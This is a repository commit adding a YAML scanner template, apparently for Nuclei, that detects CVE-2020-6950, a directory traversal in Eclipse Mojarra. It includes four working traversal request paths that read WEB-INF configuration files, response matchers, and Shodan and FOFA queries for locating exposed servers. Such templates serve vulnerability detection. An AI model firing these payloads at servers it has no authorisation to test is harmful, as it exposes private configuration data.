Added CVE-2020-6950.yaml

patch-1
Rahul Maini 2023-10-13 20:00:06 +04:00
parent b03cde64a3
commit a4de430746
1 changed files with 48 additions and 0 deletions

View File

@ -0,0 +1,48 @@
id: CVE-2020-6950
info:
name: Eclipse Mojarra - Directory
author: iamnoooob,pdresearch
severity: medium
description: |
Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2020-6950
- https://github.com/eclipse-ee4j/mojarra/commit/cefbb9447e7be560e59da2da6bd7cb93776f7741
- https://github.com/eclipse-ee4j/mojarra/issues/4571
classification:
cve-id: CVE-2020-6950
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 6.1
cwe-id: CWE-22
metadata:
max-request: 1
verified: true
shodan-query: html:"javax.faces.resource"
fofa-query: body="javax.faces.ViewState"
tags: cve,cve2020,mojarra,lfi
http:
- method: GET
path:
- "{{BaseURL}}/javax.faces.resources/web.xml.jsf?loc=/../../WEB-INF"
- "{{BaseURL}}/javax.faces.resources/web.xml.jsf?con=/../../WEB-INF"
- "{{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?loc=/../../WEB-INF"
- "{{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?con=/../../WEB-INF"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
part: body
words:
- "<web-app"
- "<servlet>"
condition: and
- type: word
part: body
words:
- "<faces-config"
- "</faces-config>"
condition: and